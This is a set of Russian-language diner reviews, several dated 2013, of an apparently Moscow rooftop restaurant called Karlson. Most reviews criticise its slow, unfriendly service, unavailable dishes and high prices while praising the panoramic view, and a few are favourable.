На входе нас встретила хостес, не расслышав, что мы ей ответили, она переспросила нас совсем не дружественным тоном -" вы будите вдвоем?" и вообще все заведение, а точнее весь персонал, очень не дружелюбный, никто не улыбается, в каждом человеке " по ту сторону" ресторана чувствуется напряжение и недовольство, легкое раздражение, что вызывало у меня чувство дискомфорта. Выяснения отношений между персоналом прямо в зале, меня удивило. Еда на твердую "3", наши два блюда нам принесли врозь, пришлось ждать когда принесут второе блюдо, а у супа из баранины был пустой вкус, что говорит о том, что его слишком сильно разбавили водой, позабавили цены. А в целом, я считаю настроение заведения зависит от настроения персонала и от подачи заведения персоналом ( если конечно его так заметно как здесь, весь персонал в зале м даже открытая кухня), если это не классический ресторан, где главная задача персонала остаться незамеченным. Хотя столы на 8 человек, заполненные только 6 гостями, можно было бы и рассервировать, да и общая тенденция побыстрее и по экономнее, уже не в первый раз для меня прослеживается в ресторанах Гинзыпроджект.
Vasya Panfilov
21.05.2013
Индифферентный с уверенной ноткой недружелюбия персонал, девушка-администратор одета и причесана так, как будто тяжелым утром вышла на свою кухню и не готова быть увиденной, половина перечисленных в меню блюд отсутствует в наличии. Заказанный домашний лимонад принесли через 30 минут, салат - через 45. "Мамины котлетки" создают впечатление, что мама была тайкой или филиппинкой со склонностью к экспериментам, достойной лучшего применения, а курица в овощном рагу - заядлой участницей забегов на длинные дистанции. Анонсированная в меню шарлотка с мороженым подается по факту без мороженого и в состоянии, намекающем на то, что она пару-тройку суток после выпечки провела в холодильнике, а, закрыв глаза, вы вряд ли сможете понять, что за субстанцию вы едите. Отсутствие двух третей десертов в наличии официантка объяснила тем, что ассортимент меняется прямо завтра, и вот этого из меню в наличии нет, а вот то, что на витринке у входа, оно есть, но подать они его не могут. Финальным аккордом сей симфонии является, конечно, "домашний" лимонад - кажется, за 999 рублей. Никогда еще пакетик растворимого напитка типа "юпи" или "зуко" из далекого детства не приносил такой баснословной маржи. В общем, локации "отлично" за вид на центр Москвы, но, если у вас есть желание потратить вечер и деньги, инвестируйте их во что-то альтернативное.
Leyla Lyatifova
21.05.2013
Отмечали в ресторане день рождение подруги. Столик заказали заранее, все как надо. Вид прекрасный, но это самое хорошее впечатление о ресторане в общем. Пришли мы туда в половину восьмого, ушли в половину одиннадцатого. Напитки и еду заказали сразу. Напитки принесли минут через 40, и то после двух напоминаний, еду принесли через час, и то не всем. При этом, что салфеток, хлеба и соли мы так и не увидели за нашим столом. Пепельницу также пришлось просить дважды. Две девочки заказали горячее, первые полтора часа нам говорили "еще 20 минут", потом откровенно стали игнорировать. Официанты хамоватые, на вопросы не отвечают и пожимают плечами, менеджер тоже пришел только при повторной просьбе. В результате оказалось, что слишком много народу, и они не успевают готовить, в итоге две девочки три часа прождали свое горячее, которое так и не принесли. Наша официантка вообще куда-то пропала после энного количества времени, старалась обходить наш стол стороной, что очень всех повеселило. Без горячего счет получился около 6 тыс., и нам сделали 10% скидку. Если как нибудь еще соберемся в Карлсон, то будем звонить и уточнять нет ли у них проблем с кухней. И салфетки с приправами надо будет брать с собой.:)
Посетили крышу Карлсона 4 мая. По плану - приятный ужин с девушкой. Замечательный вторник, отличная погода, и такой отвратительный вечер. С пол восьмого до пол десятого мы ждали свой ужин, не дождались и решили уйти. Официант догнал нас на выходе, и попросил заплатить за напитки. Я ведь имел глупость оставить деньги на столе, а после этой просьбы очень сильно об этом пожалел. После такого хамского обслуживания - в Карлсон больше ни ногой!
Геннадий, возвращайся или эклер едят руками! Именно так можно кратко резюмировать пятничный вечер в этом ресторане. Выбор ресторана был, как это часто бывает, из-за раздутого пиара, решила узнать, что же это за место, куда можно попасть, лишь бронируя столик за неделю или торчать в "листе ожидания". Все складывалось лучшим образом, забронировала столик на веранде, но ближе к пятнице мне позвонили для подтверждения брони, но вместо ожидаемой веранды, девушка любезно подтвердила столик в зале, что не могло не разозлить. Ну любопытство ресторана позволило стерпеть наглость и согласиться. Пятница вечер, солидный бизнес-центр на Набережной, ресторан на крыше, внизу встречают, провожают. Неплохо для начала, интерьер ресторана тоже впечатлил. На этом все. Началось самое интересное, меня с моей подругой посадили за столик, который находился напротив стойки с кухней. И весь вечер мы, как по заказу, слушали без умолки болтающий поварской персонал, который рассуждал о прелестях "Тарас Бульбы". А том, чтобы спокойно провести вечер, за обсуждением событий прошедшей недели не могло идти речи. Пришло время заказа. Каково было наше удивление, когда официант-Карлсон после того, как принял наш заказ, раз пять к нам подходил с новостью о том, что таких блюд у них нет, так как сегодня небольшой фуршет и все силы брошены на него. Я была в шоке, почему тогда не самый демократичный ресторан принимает гостей в полупустой зал с меню в котором практически ничего нельзя заказать)) Сто лет такого не видела - это простительно для заправской столовой, но не для ресторана. В общем кое-как нам удалось все-таки найти что-нибудь, что в этот вечер готовили. Еда оказалась пересоленной и невкусной, мясо резиновое, а обслуживание просто добавляло пряности вечеру. Грязная посуда не убиралась, пепельница не менялась, официант про нас просто забыл((. В ожидании Годо, мы успели понаблюдать за публикой ресторана. Особенно понравилась пара, которая сидела рядом с нами. Немолодой и несовсем богатый бизнесмен и молодые ноги в короткой юбке, которые 20 минуту блуждали своим влажным синим взглядам по страничкам меню. Затем капризные губки решили, что ресторан дороговат на этот вечер. Крутой мужик быстро набрал водителя Геннадия и попросил его возвращаться.)) Ой совсем ушла в воспоминания. Возвращаясь к нашему вечеру в ресторане, закончить мы его решили фирменным эклером. Эклеры принесли глазурью вниз тарелки и без приборов. На наш взгляд официант сказал, а у нас все едят руками)). В общем весело было. Оставили денег, а удовольствия "о". Тем кто любит хорошо, красиво и вкусно поесть - это место не для них. Эстетов здесь убивают наповал. Ну, а если вы хотите увидеть большие понты, то сюда)).
Я в шоке от предыдущих рецензий! Собираясь в этот ресторан, я прочитала все последние рецензии и расстроилась, что не прочитала их до того, как мы забронировали стол и созвали друзей. Ну, думаю, хоть видом полюбуемся. Я давно не ела столь вкусной еды, давно не видела такого приятного обслуживания и уж точно - это один из лучших видов на Москву! Может мы были в разных ресторанах с предыдущими рецензентами? Или может повар поменялся? Как можно писать, что там не вкусно? При том, что я была почти не голодная, я не смогла удержаться и все заказывала и заказывала. Мы пробовали: Свекольник (5 баллов), Жаркое из баранины (5 баллов), Оладьи из кабачков (5 баллов), нарезанный Сибас с шафрановым ризотто (5 баллов), салат с цыпленком (4 балла), конфеты трюфели (5 баллов) и умопомрачительный миндальный торт! Кучу всего того, что ели наши друзья, мне просто уже не удалось попробовать, в следствие полнейшего обжорства, но ни одно блюдо не разочаровало нашу компанию! Там даже чай потрясающего качества! При этом нас обслуживал потрясающе заботливый и вежливый официант, имени которого я, к сожалению не запомнила. Я бы вынесла ему отдельную благодарность. Я очень скептически отношусь ко всем проектам Гинзы. У них всегда очень качественный и уютный интерьер и средняя кухня. Но я с уверенностью могу назвать этот ресторан - лучшим проектом этой большой компании. Я надеюсь, что он продержится на таком уровне немного дольше, чем обычный срок ресторанного затухания.
Более отвратительного обслуживания не видел никогда и нигде. Единственный плюс - хороший вид на Москву, а остальное - врагу не пожелаешь. Сильное впечатление, что все позитивные отзывы здесь - заказные. Официанта ждали 30 минут, затем еду несли еще 25 минут. Еда отвратительная и невкусная. Ценник высокий. Если у Вы хотите хорошо провести время и не испортить себе при этом настроение - ни в коем случае не ходите в это проклятое место. В Москве много других хороших ресторанов.
Только в Москве может быть такой ресторан, в котором сочетается прекрасный вид, отвратительная еда и бешеные цены. Платить за макароны с тефтелями - 500 рублей - это перебор, cappuccino - 272 рубля, кухня скудная, порции маленькие. Куча ненужного персонала, который трется у барной стойки. Курят везде, что особенно отвратительно. Никакой вид не стоит таких денег!
Полина Мельникова
11.06.2013
Мы с подругой решили туда все-же заглянуть. В рекламе было написано, что имбирно-манговый коктейль стоит там 111 рублей, ну мы решили взять его и просто посидеть на веранде и полюбоваться красотой. Поднявшись на 14 этаж и остановившись у входа в ресторан, мы уже поняли, что здесь простым студентам делать особо нечего. Все места на веранде были заняты и мы стояли в ожидании пока к нам подойдут и предложат нам сесть. В это время представительные мужчины с женами, иностранцы и коллеги по офисной работе один за одним занимали столики в ресторане так, как они резервировали столики заранее. После подошли и к нам и предложили сесть за барную стойку, потому, что свободных мест на веранде небыло. Мы согласились. Вывод первый: столики надо бронировать заранее. Что я могу сказать по поводу интерьера и вида: здесь очень уютно и красиво. Большие удобные диванчики, светлые тона интерьера и приветливые официанты конечно оставили только хорошее впечатление. А какой вид! Вся Москва на ладони! Просматривая меню, подружка посмеялась: "А представь, если этот лимонад стоит не 111 руб., а 1111 руб.?". Зря она посмеялась. Именно столько он и стоил. В конце концов мы решили взять холодный чай "Мохито" объемом в 700 мл. по более низкой цене, чем лимонад. Чай был по истине божественным, но все-же цены на еду и напитки нас неприятно удивили. Вывод второй: денег лучше взять побольше. Но вот начал наступать вечер и на веранде становилось прохладно. На каждом диванчике лежал свернутый плед именно чтобы укрыться, если посетители почувствуют холод. Нам также предложили пледы и мы не оказались. Вывод третий: здесь не дадут замерзнуть, предложив укутаться в теплый плед. Просидев здесь часа два и все-таки выпив весь чай, мы попросили счет. На удивление сумма, указанная на чеке, отличалась от цены чая в меню более, чем на 100 рублей, но мы все оплатили и ушли. В целом: очень классное место, привлекающее своим расположением, интерьером, персоналом и напитками (про еду не знаю). Здесь на самом деле уютно и спокойно. И дорого. Так, что перед походом в "Карлсон" лучше взять кошелек побольше и наслаждаться пребыванием в таком необычном и по истине красивом месте. А о том, чтобы Вам здесь было действительно уютно, позаботится персонал. Удачного времяпрепровождения!
Если объективно, то. Расположение - это главное, из-за чего стоит пойти. Панорамный вид на Москву - впечатляет! Минус - терраса расположена по периметру крыши и вид не на все стороны одинаково хорош. Но зато об этом при бронировании по телефону предупредили. Бронироваться обязательно заранее! Подслушав диалоги администрации поняла, что много постоянных клиентов, у них есть любимые столики и. Минус террасы - если пойдет сильный дождь - заливает, а внутрь пересаживаться некуда - всегда аншлаг. Да и делать внутри нечего - если вы не любитель развлекательных программ (смотрите расписание мероприятий). Но в сухую погоду там замечательно - запах цветущих петуний и герани, пледов хватит на всех! Еда - здесь это второстепенно. В принципе, в меню есть универсальные блюда типа куска неплохой австралийской говядины или судака в хрустящей корочке. Порции немаленькие. Если написано "с зеленым салатом", то это хорошая четвертушка вкусненького свежайшего кочанчика. А ещё неожиданная горсть белых сухариков, луковка, чесночок и помидорки черри - всё гриль, всё красиво и гармонично. Но по наблюдениям - мало кто ел. На столах чайнички с чаем, официанты непрерывно носят фруктовые коктейли и кофе. А ещё люди играют в карты и настольные игры. Сидят шумными компаниями и чудесно проводят время. И вот тут стоит сказать про цены. Еда - наверное, она стоит этих денег - с учетом места. Еда, плюс напиток - разорительно. Цены на напитки убивают. Рука не поднимается пить эти соки, чаи, коктейли, вина и пр. Оптимальными (но не дешевыми) оказались минералка и кофе. Но вот в этом, наверно, и кроется хитрый маркетинговый ход. Вроде, если поел - надо уходить. Но место располагает задержаться, а если уж у вас компания - сытный ужин выльется в приличную сумму. А так - можно непрерывно заказывать эти чайнички, коктейли и общаться до бесконечности. И ресторан не в обиде. Обслуживание - нормальное - то самое слово. Все просто выполняют свою работу. Итог: неплохое место для романтического свидания и дружеских посиделок. Не подходит для семейных выходов и бизнес-встреч.
Разочарование года. Единственное достоинство - прекрасный вид с террасы. Что сказать, если слоганом к прикольному названию ресторана Карлсон является "Ресторан интересных цен". Как думаете почему? Ни за, что не догатаетесь. Просто в меню вы встретите цены "777 руб", "251 руб". К чему бы это? Причем здесь Карлсон!? Неизвестно. Бессмысленный слоган, бестолковые девушки на ресепшен, которые несмотря на то, что я заказала столик за 3 дня, посадили у входа, и, самое главное, безвкусное и убогое меню. Совет: смотреть на Мосву с других более качественных по обслуживаю и вкусных ресторанов.
Вид с летней веранды сумасшедший. Ради этого стоит приехать. Кухня нормальная, но не более того. Хорошее обслуживание. Итог: хороший видовой ресторан, который стоит посетить.
Tutochka
09.04.2013
Невкусно. Очень приветливый персонал, весьма приличная публика, виды из окна - супер. Но невкусно же. В салате с артишоками консервированные артишоки. Не комильфо это, граждане. Лонгайленд из джина и кока-колы в равных пропорциях. И невкусно, в конце-то концов.
